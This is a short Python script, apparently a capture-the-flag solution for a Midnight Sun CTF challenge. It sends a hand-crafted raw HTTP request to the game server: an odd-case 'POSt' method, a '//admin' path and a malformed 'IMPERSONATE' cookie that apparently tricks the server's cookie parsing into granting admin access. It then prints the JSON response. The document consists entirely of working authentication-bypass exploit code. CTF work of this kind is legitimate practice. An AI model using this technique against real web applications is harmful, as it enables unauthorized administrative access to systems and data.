script.py

#!/usr/bin/env python3

attack = b'''POSt //admin HTTP/1.1
Connection: Keep-Alive
Cookie: IMPERSONATE=,KEY;KEY
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

username=admin
'''.replace(b'\n',b'\r\n')
import socket
import json
host = 'shithappens-01.play.midnightsunctf.se'
port = 80
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(attack)
data = s.recv(1024)
s.close()
print(data.decode())
k = json.loads(data.split(b'\r\n\r\n')[1].decode())
print(k)